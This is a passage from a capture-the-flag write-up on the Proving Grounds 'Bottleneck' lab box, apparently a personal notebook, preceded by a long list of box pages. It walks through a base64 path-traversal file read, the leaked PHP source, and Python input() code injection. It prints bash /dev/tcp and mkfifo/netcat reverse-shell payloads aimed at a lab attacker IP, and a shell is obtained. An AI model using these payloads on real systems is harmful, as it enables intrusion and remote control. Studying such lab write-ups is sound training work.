💣
Proving Grounds Writeups
  • kashz PG Writeups
  • PG boxes
    • ALGERNON
      • 4 :9998 IIS 10
      • 3 :80 IIS 10
      • 2 :21 ftp
      • 1 recon
    • APEX
      • 9 privesc
      • 8 box enum www-data
      • 7 :80 openemr exploit
      • 6 :3306 mysql
      • 5 :80 /filemanager 9.13.4
      • 4 :80 openemr
      • 3 :80 apex hospital
      • 2 :445 smb
      • 1 recon
    • AUTHBY
      • 6 privesc
      • 5 box enum apache
      • 4 :21 ftp admin
      • 3 :242 apache
      • 2 :21 ftp
      • 1 recon
    • BANZAI
      • 9 post enum
      • 8 mysql > privesc > root
      • 7 apache enum
      • 6 box enum www-data
      • 5 :8295 banzai
      • 4 :25 smtp
      • 3 :5432
      • 2 :21 ftp
      • 1 recon
    • BILLYBOSS
      • 7 privesc_2
      • 6 privesc_1
      • 5 box enum
      • 4 :8081
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • BOTTLENECK
      • 7 privesc > root
      • 6 www-data > bytevsbyte
      • 5 box enum PEAS
      • 4 box enum
      • 3 :80 exploit
      • 2 :80 bottleneck
      • 1 recon
    • BRATARINA
      • 4 :25 opensmtpd 6.6.2
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • CLAMAV
      • 4 :25 sendmail
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • CLYDE
      • 7 post enum
      • 6 box enum rabbitmq > privesc > root
      • 5 :4369 epmd
      • 4 :15672 rabbitmq
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • DAWN
      • 5 privesc
      • 4 box enum dawn
      • 3 cron exploit using smb
      • 2 :80
      • 1 recon
    • DIBBLE
      • 9 post enum
      • 8 box enum benjamin > privesc > root
      • 7 :3000 nodejs exploit
      • 6 :27017 mongodb
      • 5 :3000 node.js
      • 4 :80 drupal explore
      • 3 :80 drupal enum
      • 2 :21 ftp
      • 1 recon
    • FAIL
      • 5 post enum
      • 4 privesc fail2ban
      • 3 box enum fox
      • 2 :873 rsync
      • 1 recon
    • FUNBOXEASY
      • 4 post enum
      • 3 :22 ssh tony > root
      • 2 :80
      • 1 recon
    • FUNBOXEASYENUM
      • 4 privesc
      • 3 box enum www-data > privesc > root
      • 2 :80
      • 1 recon
    • G00G
      • 5 post enum
      • 4 privesc > root
      • 3 box enum fox
      • 2 :80
      • 1 recon
    • GAARA
      • 4 post enum
      • 3 gaara > root
      • 2 :80
      • 1 recon
    • HAWAT
      • 8 post enum
      • 6 :50080 nextcloud enum
      • 5 :50080 davtest
      • 4 :50080 nextcloud
      • 3 :30455 w3.css
      • 2 :17445 issue tracker
      • 1 recon
    • HELPDESK
      • 2 :8080 ManageEngine ServiceDesk Plus 7.6.0
      • 1 recon
    • HETEMIT
      • 10 post enum
      • 9 privesc > root
      • 8 box enum cmeeks
      • 7 :50000_2
      • 6 :50000_1
      • 5 :18000
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • HUNIT
      • 6 post enum
      • 5 privesc git-user git-repo > root
      • 4 fail privesc dademola-user git-repo
      • 3 box enum dademola
      • 2 :8080
      • 1 recon
    • HUTCH
      • 10 privesc_3 ldapsearch
      • 9 privesc_2 SharpLAPS
      • 8 privesc_1 PrintSpoofer
      • 7 box enum iis apppool
      • 6 :80 webdav
      • 5 :139 :445 smb
      • 4 ldap_2
      • 3 ldap_1
      • 2 :80 IIS 10.0
      • 1 recon
    • INTERNAL
      • 3 ms17-010
      • 2 :139 :445 smb
      • 1 recon
    • INTERFACE
      • 3 post enum
      • 2 :80
      • 1 recon
    • JACKO
      • 8 post enum
      • 7 privesc_2 PrintSpoofer
      • 6 privesc_1 PaperStream IP (TWAIN)
      • 5 box enum tony
      • 4 H2 JNIScriptEngine exploit > tony
      • 3 :8082
      • 2 :80
      • 1 recon
    • KEVIN
      • 3 :80 HP Power Manager 4.2
      • 2 :139 :445 smb
      • 1 recon
    • LAMPIAO
      • 7 post enum
      • 6 privesc KE
      • 5 box enum www-data
      • 4 drupalgeddon2 > www-data
      • 3 :1898 drupal 7
      • 2 :80
      • 1 recon
    • LOLY
      • 6 post enum
      • 5 privesc KE
      • 4 box enum www-data
      • 3 :80 wpscan
      • 2 :80
      • 1 recon
    • MEATHEAD
      • 7 privesc_2 Plantronics Hub 3.13.2
      • 6 privesc_1 PrintSpoofer
      • 5 box enum nt service\mssql$sqlexpress
      • 4 :1435 ms-sql 2017
      • 3 :1221 ftp
      • 2 :80 IIS 10.0
      • 1 recon
    • MEDJED
      • 8 privesc
      • 7 box enum
      • 6 :45332 :45443 QuizApp
      • 5 :44330 Barracuda Web-File-Server
      • 4 :44330 BarracudaDrive 6.5
      • 3 :33033
      • 2 :30021 ftp
      • 1 recon
    • METALLUS
      • 2 :40443 Application Manager
      • 1 recon
    • MONITORING
      • 4 privesc
      • 3 :80 box enum > www-data
      • 2 :80 nagios xi
      • 1 recon
    • MUDDY
      • 8 post enum
      • 7 privesc cronjob
      • 6 box enum www-data
      • 5 :80 webdav
      • 4 :8888 ladon framework
      • 3 :80 wpscan
      • 2 :80 muddy.ugc
      • 1 recon
    • MY-CMSMS
      • 6 privesc armour > root
      • 5 box enum www-data
      • 4 :80 cms ms login
      • 3 :3306 mysql
      • 2 :80 cms made simple
      • 1 recon
    • NAPPA
      • 7 post enum
      • 6 privesc
      • 5 box enum kathleen
      • 4 :8080
      • 3 :28080
      • 2 :21 ftp
      • 1 recon
    • NIBBLES
      • 5 post enum
      • 4 box enum > privesc > root
      • 3 :5437 postgresql
      • 2 :80
      • 1 recon
    • NICKEL
      • 6 :21 ftp > root
      • 5 box enum
      • 4 ssh ariah
      • 3 :8089 :33333 curl
      • 2 :8089 DevOps dashboard
      • 1 recon
    • NUKEM
      • 6 post enum
      • 5 privesc dosbox
      • 4 box enum http > commander
      • 3 :80 wordpress + exploit
      • 2 :80
      • 1 recon
    • PAYDAY
      • 6 patrick > privesc > root
      • 5 box enum_2
      • 4 box enum www-data
      • 3 :80 cs-cart internetshop
      • 2 :139 :445 smb
      • 1 recon
    • PEBBLES
      • 3 zoneminder sqlmap
      • 2 http
      • 1 recon
    • PELICAN
      • 7 post enum
      • 6 privesc > root
      • 5 box enum charles
      • 4 :8080 :8081
      • 3 :631 cups 2.2
      • 2 :139 :445 smb
      • 1 recon
    • PEPPO
      • 9 post enum
      • 8 privesc docker socket > root
      • 7 box enum eleanor
      • 6 :22 ssh eleanor
      • 5 docker enum postgres
      • 4 :5432 postgres
      • 3 :8080
      • 2 :113 ident
      • 1 recon
    • PHOTOGRAPHER
      • 6 post enum
      • 5 box enum > privesc
      • 4 :8000 koken cms
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • POSTFISH
      • 10 post enum
      • 9 privesc > root
      • 8 exploit /etc/postfix/disclaimer
      • 7 box enum
      • 6 :22 ssh
      • 5 sending mail to phish
      • 4 :110 pop3
      • 3 :25 smtp
      • 2 :80
      • 1 recon
    • POTATO
      • 6 post enum
      • 5 :22 ssh, box enum
      • 4 :80 strcmp php
      • 3 :80
      • 2 :2112 ftp
      • 1 recon
    • QUARTERJACK
      • 8 post enum
      • 7 privesc > root
      • 6 box enum apache
      • 5 :8081 rconfig
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • SEPPUKU
      • 10 privesc
      • 9 ssh tanto > privesc > root
      • 8 box enum samurai
      • 7 box enum seppuku
      • 6 :7601
      • 5 :7080
      • 4 :8088
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • SHENZI
      • 7 post enum
      • 6 privesc .msi
      • 5 box enum
      • 4 :80 wordpress > shenzi
      • 3 :80 xampp
      • 2 :139 :445 smb
      • 1 recon
    • SIROL
      • 5 post enum
      • 4 docker breakout > root
      • 3 :5601 kibana 6.5.0
      • 2 :80 php calculator
      • 1 recon
    • SLORT
      • 6 privesc
      • 5 box enum
      • 4 :4443 xampp
      • 3 :8080 xampp
      • 2 :21 ftp
      • 1 recon
    • SNOOKUMS
      • 8 post enum
      • 7 privesc
      • 6 box enum michael
      • 5 box enum apache
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • SORCERER
      • 7 post enum
      • 6 privesc > root
      • 5 box enum max
      • 4 :7742
      • 3 :8080 tomcat 7
      • 2 :80
      • 1 recon
    • SOSIMPLE
      • 6 ssh max > steven > root
      • 5 box enum_2
      • 4 box enum_1 www-data
      • 3 :80 wordpress
      • 2 :80
      • 1 recon
    • SUNSETMIDNIGHT
      • 7 privesc
      • 6 box enum www-data
      • 5 :80 wordpress admin
      • 4 :80 simply poll plugin sqli
      • 3 :80 wordpress
      • 2 :80
      • 1 recon
      • 0 /etc/hosts
    • SYBARIS
      • 7 post enum
      • 6 privesc cron
      • 5 box enum pablo
      • 4 :6379 redis
      • 3 :80 sybaris
      • 2 :21 ftp
      • 1 recon
    • TRE
      • 5 :22 ssh > privesc > root
      • 4 box enum www-data
      • 3 :80 mantis bug tracker
      • 2 :80
      • 1 recon
    • TWIGGY
      • 5 post enum
      • 4 :4506 SaltStack 3000.1
      • 3 :8000
      • 2 :80 mezzanine
      • 1 recon
    • UC404
      • 5 post enum
      • 4 box enum brian > privesc > root
      • 3 box enum www-data
      • 2 :80 adminlte
      • 1 recon
    • UT99
      • 8 privesc_3 wlbsctrl.dll hijack
      • 7 fail privesc_2 InspIRCd
      • 6 privesc_1 FoxitCloudUpdateService
      • 5 box enum daisy
      • 4 :7778 unreal tournament
      • 3 :6667 irc via pidgin
      • 2: 80
      • 1 recon
    • WALLA
      • 7 post enum
      • 6 privesc
      • 5 box enum www-data
      • 4 :8901 lighttpd 1.4.53 > raspAP
      • 3 :25 smtp
      • 2 :23 telnet
      • 1 recon
    • WEBCAL
      • 6 privesc KE
      • 5 box enum www-data
      • 4 :53 dns
      • 3 :80 webcalendar 1.2.3
      • 2 :21 ftp
      • 1 recon
    • WOMBO
      • 6 post enum
      • 5 :6379 redis
      • 4 :27017 mongo
      • 3 :8080 nodebb
      • 2 :80
      • 1 recon
    • XPOSEDAPI
      • 3 box enum clumsyadmin > root
      • 2 :13337 remote software management api
      • 1 recon
    • Y0USEF
      • 5 post enum
      • 4 privesc
      • 3 box enum
      • 2 :80
      • 1 recon
    • ZENPHOTO
      • 9 post enum
      • 8 privesc_2 full-nelson
      • 7 privesc_1 rds
      • 6 privesc check
      • 5 box enum www-data
      • 4 :80 zenphoto 1.4.1.4
      • 3 :80
      • 2 :23 cups 1.4
      • 1 recon
    • ZINO
      • 6 post enum
      • 5 privesc > root
      • 4 box enum www-data
      • 3 :8003
      • 2 :139 :445 smb
      • 1 recon
Powered by GitBook
On this page
  1. PG boxes
  2. BOTTLENECK

3 :80 exploit

Previous4 box enumNext2 :80 bottleneck

Last updated 3 years ago

Using

$ python3 bottleneck_exploit.py
> Requsting http://192.168.65.22:80/image_gallery.php
http://192.168.65.22:80/image_gallery.php
[!!] exit or quit to return!
File to read: /etc/passwd
[!!] Generating unix time stamp
> Requested http://192.168.65.22:80/image_gallery.php with params {'t': '1629345414', 'f': 'L2V0Yy9wYXNzd2Q='}

Let me throw away your nice request into the bin.
The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.
Why don't you wait on your chair until someone (maybe the police) knock on your door?

<pre>
                                   _,..._
                                  /__    \
                                   >< `.  \
                                  /_    \ |
                                   \-_  /:|
                                 ,--'..'. :
                               ,'         `.
                            _,'             \
                   _.._,--''    ,           |
               , ,',, _|    _,.'|      |    |
            \||/,'(,' '--''    |      |    |
       _     |||                |      /-'  |
      | |   (- -)<`._           |     /    /
      | |  \_\O/_/`-.(<<        |____/    /
      | |   /   \              / -'| `--.'|
      | |   \___/             /           /
      | |    H H             /     |     |
      |_|_..-H-H--.._       /     ,|     |
        |-.._"_"__..-|     |   _-/ |     |
        |            |     |    |   \_   |
        |            |     |    |   |    |
        |            |     |____|   |    |
        |            |  _..'    |   |____|
        |            |_(____..._' _.'    |
        `-..______..-'""         (___..--'
<pre>
# requesting image_gallery.php file
File to read: ../image_gallery.php
[!!] Generating unix time stamp
> Requested http://192.168.65.22:80/image_gallery.php with params {'t': '1629345501', 'f': 'Li4vaW1hZ2VfZ2FsbGVyeS5waHA='}
<?php
/*
CHANGELOG
v1.1: Still testing without content.
    I've fixed that problem that @p4w and @ska notified me after hacker attack.
    Shit I'm too lazy to make a big review of my code.
    I think that the LFI problem can be mitigated with the blacklist.
    By the way to protect me from attackers, all malicious requests are immediately sent to the SOC

v1.0: Starting this beautiful gallery
*/

$tstamp = time();
if(isset($_GET['t']) && isset($_GET['f'])){
    include_once 'image_gallery_load.php';
    exit();
}

?>
[trunacted]

# file image_gallery_load.php is loaded; requesting that
<?php
function print_troll(){
    $messages = $GLOBALS['messages'];
    $troll = $GLOBALS['troll'];
    echo $messages[0];
    echo $troll;
}

$troll = <troll-image>

if(!isset($_GET['t']) || !isset($_GET['f'])){
    exit();
}

$imagefile = base64_decode($_GET['f']);
$timestamp = time();
$isblocked = FALSE;
$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');
$messages = array("\nLet me throw away your nice request into the bin.\n".
    "The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".
    "Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");

if(abs($_GET['t'] - $timestamp) > 10){
    exit();
}
foreach($blacklist as $elem){
    if(strstr($imagefile, $elem) !== FALSE)
        $isblocked = TRUE;
}
// report the intrusion to the soc and save information locally for further investigation
if($isblocked){
    $logfile = 'intrusion_'.$timestamp;
    $fp = fopen('/var/log/soc/'.$logfile, 'w');
    fwrite($fp, "'".$imagefile."'");
    fclose($fp);
    exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
    print_troll();
    exit();
}
chdir('img');
$filecontent = file_get_contents($imagefile);
if($filecontent === FALSE){
    print_troll();
}
else{
    echo $filecontent;
}
chdir('../');

?>
# this basically tells us if the f and t params are not set, it will exit
# any blacklist path gives and page will not load and troll image is printed
# but if blocked path exec command is run and output is saved to /tmp/output
# reading /tmp/output
File to read: ../../../../../../tmp/output
> Requested http://192.168.65.22:80/image_gallery.php with params {'t': '1629346874', 'f': 'Li4vLi4vLi4vLi4vLi4vLi4vdG1wL291dHB1dA=='}
report: [+] sending the message: /etc/passwd

# after running error file path

File to read: ../../../../../../tmp/output
> Requested http://192.168.65.22:80/image_gallery.php with params {'t': '1629346942', 'f': 'Li4vLi4vLi4vLi4vLi4vLi4vdG1wL291dHB1dA=='}
report: Traceback (most recent call last):
  File "/opt/ids_strong_bvb.py", line 7, in <module>
    data = str(input('report: '))
  File "<string>", line 1
    '/etc/passwd' <?>'
                   ^
SyntaxError: invalid syntax

# input function is taking the str.
# exploiting input in python
# tried
CMD: /etc/passwd' and __import__('os').system('bash -i >& /dev/tcp/192.168.49.65/6969 0>&1')
ERR in /tmp/output: SyntaxError: EOL while scanning string literal
meaning: string ended not properly

CMD: /etc/passwd' and __import__('os').system('bash -i >& /dev/tcp/192.168.49.65/6969 0>&1')#
ERR: sh: 1: Syntax error: Bad fd number

CMD: /etc/passwd' and __import__('os').system('whoami;id')#
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

CMD: /etc/passwd' and __import__('os').system('bash -c \'bash -i >& /dev/tcp/192.168.49.65/6969 0>&1\'')#
CMD: /etc/' and __import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.49.65 6969 >/tmp/f')#

$ nc -lvnp 6969
listening on [any] 6969 ...
connect to [192.168.49.65] from (UNKNOWN) [192.168.65.22] 37798
bash: cannot set terminal process group (803): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bottleneck:~/html$ whoami;id;hostname
whoami;id;hostname
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bottleneck
https://github.com/iamkashz/ctf-scripts/blob/main/HTB/bottleneck-lfi.py